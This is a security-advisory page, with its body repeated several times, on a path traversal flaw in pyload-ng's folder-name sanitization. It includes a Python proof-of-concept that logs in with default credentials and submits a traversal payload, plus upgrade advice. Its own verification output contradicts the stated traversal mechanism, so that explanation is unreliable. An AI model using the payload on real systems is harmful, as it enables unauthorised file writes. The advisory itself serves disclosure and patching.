Insufficient sanitization of package folder names allows writing files outside the intended download directory. ## Affected Component - `src/pyload/core/api/__init__.py` - Function: `add_package()` ## Description Package folder names are sanitized using insufficient string replacement: ```python folder = ( folder.replace("http://", "") .replace("https://", "") .replace("../", "_") # Bypassable! .replace("..\\", "_") .replace(":", "") .replace("/", "_") .replace("\\", "_") ) ``` The `../` replacement is bypassable. The pattern `....//` becomes `.._` after replacement (partial removal), leaving `..` which can be exploited when the path is later resolved by the OS. ## Proof of Concept ### Setup ```bash pip install pyload-ng[all] pyload -d & # Default credentials: pyload / pyload ``` ### Exploit ```python #!/usr/bin/env python3 import requests BASE_URL = "http://localhost:8000" USERNAME = "pyload" PASSWORD = "pyload" session = requests.Session() # Login session.post(f"{BASE_URL}/login", data={ "username": USERNAME, "password": PASSWORD }) # Create package with malicious folder name # The pattern ....// bypasses the ../ replacement # After sanitization: .._ (still contains ..) folder_payload = "....//....//....//tmp/evil" resp = session.post(f"{BASE_URL}/api/add_package", json={ "name": "test_package", "links": ["http://example.com/file.txt"], "dest": 1 # Destination.QUEUE }) package_id = resp.json() print(f"Created package: {package_id}") # Set malicious folder name resp = session.post(f"{BASE_URL}/api/set_package_data", json={ "package_id": package_id, "data": {"folder": folder_payload} }) print(f"Set folder payload: {folder_payload}") print(f"Response: {resp.status_code}") # When download occurs, files will be written outside download dir print("[+] When a file is downloaded, it will be written to manipulated path") print(" The sanitized folder still contains '..' sequences that OS resolves") ``` ### Verification Check where files would be written: ```python import os download_dir = "/home/user/Downloads" folder = "....//....//....//tmp/evil" # Simulate pyLoad's sanitization sanitized = folder.replace("../", "_").replace("/", "_") print(f"After pyLoad sanitization: {sanitized}") # Output: .._.._.._tmp_evil # When pyLoad does os.path.join and then opens the file: final_path = os.path.join(download_dir, sanitized) print(f"Joined path: {final_path}") # Output: /home/user/Downloads/.._.._.._tmp_evil # The .. sequences remain and could be resolved by OS during file operations ``` ## Impact Authenticated users with ADD permission can: - Write files outside the download directory - Potentially overwrite system files (depending on permissions) - Clutter system directories with downloaded content
Insufficient sanitization of package folder names allows writing files outside the intended download directory. ## Affected Component - `src/pyload/core/api/__init__.py` - Function: `add_package()` ## Description Package folder names are sanitized using insufficient string replacement: ```python folder = ( folder.replace("http://", "") .replace("https://", "") .replace("../", "_") # Bypassable! .replace("..\\", "_") .replace(":", "") .replace("/", "_") .replace("\\", "_") ) ``` The `../` replacement is bypassable. The pattern `....//` becomes `.._` after replacement (partial removal), leaving `..` which can be exploited when the path is later resolved by the OS. ## Proof of Concept ### Setup ```bash pip install pyload-ng[all] pyload -d & # Default credentials: pyload / pyload ``` ### Exploit ```python #!/usr/bin/env python3 import requests BASE_URL = "http://localhost:8000" USERNAME = "pyload" PASSWORD = "pyload" session = requests.Session() # Login session.post(f"{BASE_URL}/login", data={ "username": USERNAME, "password": PASSWORD }) # Create package with malicious folder name # The pattern ....// bypasses the ../ replacement # After sanitization: .._ (still contains ..) folder_payload = "....//....//....//tmp/evil" resp = session.post(f"{BASE_URL}/api/add_package", json={ "name": "test_package", "links": ["http://example.com/file.txt"], "dest": 1 # Destination.QUEUE }) package_id = resp.json() print(f"Created package: {package_id}") # Set malicious folder name resp = session.post(f"{BASE_URL}/api/set_package_data", json={ "package_id": package_id, "data": {"folder": folder_payload} }) print(f"Set folder payload: {folder_payload}") print(f"Response: {resp.status_code}") # When download occurs, files will be written outside download dir print("[+] When a file is downloaded, it will be written to manipulated path") print(" The sanitized folder still contains '..' sequences that OS resolves") ``` ### Verification Check where files would be written: ```python import os download_dir = "/home/user/Downloads" folder = "....//....//....//tmp/evil" # Simulate pyLoad's sanitization sanitized = folder.replace("../", "_").replace("/", "_") print(f"After pyLoad sanitization: {sanitized}") # Output: .._.._.._tmp_evil # When pyLoad does os.path.join and then opens the file: final_path = os.path.join(download_dir, sanitized) print(f"Joined path: {final_path}") # Output: /home/user/Downloads/.._.._.._tmp_evil # The .. sequences remain and could be resolved by OS during file operations ``` ## Impact Authenticated users with ADD permission can: - Write files outside the download directory - Potentially overwrite system files (depending on permissions) - Clutter system directories with downloaded content
Update pyload-ng to 0.5.0b3.dev100 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanPyLoad Vulnerable to Path Traversal via Package Folder Name affects pyload-ng (pip). Severity is medium. Insufficient sanitization of package folder names allows writing files outside the intended download directory. ## Affected Component - `src/pyload/core/api/__init__.py` - Function: `add_package()` ## Description Package folder names are sanitized using insufficient string replacement: ```python folder = ( folder.replace("http://", "") .replace("https://", "") .replace("../", "_") # Bypassable! .replace("..\\", "_") .replace(":", "") .replace("/", "_") .replace("\\", "_") ) ``` The `../` replacement is bypassable. The pattern `....//` becomes `.._` after replacement (partial removal), leaving `..` which can be exploited when the path is later resolved by the OS. ## Proof of Concept ### Setup ```bash pip install pyload-ng[all] pyload -d & # Default credentials: pyload / pyload ``` ### Exploit ```python #!/usr/bin/env python3 import requests BASE_URL = "http://localhost:8000" USERNAME = "pyload" PASSWORD = "pyload" session = requests.Session() # Login session.post(f"{BASE_URL}/login", data={ "username": USERNAME, "password": PASSWORD }) # Create package with malicious folder name # The pattern ....// bypasses the ../ replacement # After sanitization: .._ (still contains ..) folder_payload = "....//....//....//tmp/evil" resp = session.post(f"{BASE_URL}/api/add_package", json={ "name": "test_package", "links": ["http://example.com/file.txt"], "dest": 1 # Destination.QUEUE }) package_id = resp.json() print(f"Created package: {package_id}") # Set malicious folder name resp = session.post(f"{BASE_URL}/api/set_package_data", json={ "package_id": package_id, "data": {"folder": folder_payload} }) print(f"Set folder payload: {folder_payload}") print(f"Response: {resp.status_code}") # When download occurs, files will be written outside download dir print("[+] When a file is downloaded, it will be written to manipulated path") print(" The sanitized folder still contains '..' sequences that OS resolves") ``` ### Verification Check where files would be written: ```python import os download_dir = "/home/user/Downloads" folder = "....//....//....//tmp/evil" # Simulate pyLoad's sanitization sanitized = folder.replace("../", "_").replace("/", "_") print(f"After pyLoad sanitization: {sanitized}") # Output: .._.._.._tmp_evil # When pyLoad does os.path.join and then opens the file: final_path = os.path.join(download_dir, sanitized) print(f"Joined path: {final_path}") # Output: /home/user/Downloads/.._.._.._tmp_evil # The .. sequences remain and could be resolved by OS during file operations ``` ## Impact Authenticated users with ADD permission can: - Write files outside the download directory - Potentially overwrite system files (depending on permissions) - Clutter system directories with downloaded content
AI coding agents often install or upgrade packages automatically in pip. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| pyload-ngpip | <=0.5.0b3.dev79 | 0.5.0b3.dev100 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate pyload-ng to 0.5.0b3.dev100 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanPyLoad Vulnerable to Path Traversal via Package Folder Name affects pyload-ng (pip). Severity is medium. Insufficient sanitization of package folder names allows writing files outside the intended download directory. ## Affected Component - `src/pyload/core/api/__init__.py` - Function: `add_package()` ## Description Package folder names are sanitized using insufficient string replacement: ```python folder = ( folder.replace("http://", "") .replace("https://", "") .replace("../", "_") # Bypassable! .replace("..\\", "_") .replace(":", "") .replace("/", "_") .replace("\\", "_") ) ``` The `../` replacement is bypassable. The pattern `....//` becomes `.._` after replacement (partial removal), leaving `..` which can be exploited when the path is later resolved by the OS. ## Proof of Concept ### Setup ```bash pip install pyload-ng[all] pyload -d & # Default credentials: pyload / pyload ``` ### Exploit ```python #!/usr/bin/env python3 import requests BASE_URL = "http://localhost:8000" USERNAME = "pyload" PASSWORD = "pyload" session = requests.Session() # Login session.post(f"{BASE_URL}/login", data={ "username": USERNAME, "password": PASSWORD }) # Create package with malicious folder name # The pattern ....// bypasses the ../ replacement # After sanitization: .._ (still contains ..) folder_payload = "....//....//....//tmp/evil" resp = session.post(f"{BASE_URL}/api/add_package", json={ "name": "test_package", "links": ["http://example.com/file.txt"], "dest": 1 # Destination.QUEUE }) package_id = resp.json() print(f"Created package: {package_id}") # Set malicious folder name resp = session.post(f"{BASE_URL}/api/set_package_data", json={ "package_id": package_id, "data": {"folder": folder_payload} }) print(f"Set folder payload: {folder_payload}") print(f"Response: {resp.status_code}") # When download occurs, files will be written outside download dir print("[+] When a file is downloaded, it will be written to manipulated path") print(" The sanitized folder still contains '..' sequences that OS resolves") ``` ### Verification Check where files would be written: ```python import os download_dir = "/home/user/Downloads" folder = "....//....//....//tmp/evil" # Simulate pyLoad's sanitization sanitized = folder.replace("../", "_").replace("/", "_") print(f"After pyLoad sanitization: {sanitized}") # Output: .._.._.._tmp_evil # When pyLoad does os.path.join and then opens the file: final_path = os.path.join(download_dir, sanitized) print(f"Joined path: {final_path}") # Output: /home/user/Downloads/.._.._.._tmp_evil # The .. sequences remain and could be resolved by OS during file operations ``` ## Impact Authenticated users with ADD permission can: - Write files outside the download directory - Potentially overwrite system files (depending on permissions) - Clutter system directories with downloaded content
AI coding agents often install or upgrade packages automatically in pip. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| pyload-ngpip | <=0.5.0b3.dev79 | 0.5.0b3.dev100 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard